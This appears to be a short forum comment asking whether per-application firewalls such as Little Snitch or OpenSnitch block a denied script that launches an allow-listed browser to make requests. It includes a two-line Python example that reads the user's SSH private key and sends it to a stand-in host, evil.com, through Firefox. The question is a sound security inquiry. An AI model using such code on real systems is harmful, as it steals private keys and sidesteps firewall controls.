I'm not a Little Snitch or Open Snitch user, I wonder if these firewalls are able to block requests done with the use of some other, allow-listed program.

Say I run a script `suspicious.py' and I deny this script from making any network requests. I also have firefox which is allowed to make any HTTPS requests. If suspicious.py does something like:

   key = (Path.home() / '.ssh' / 'id_rsa').read_text()
   subprocess.Popen(['firefox', f'https://evil.com/upload/{key}'])

will this request be blocked?
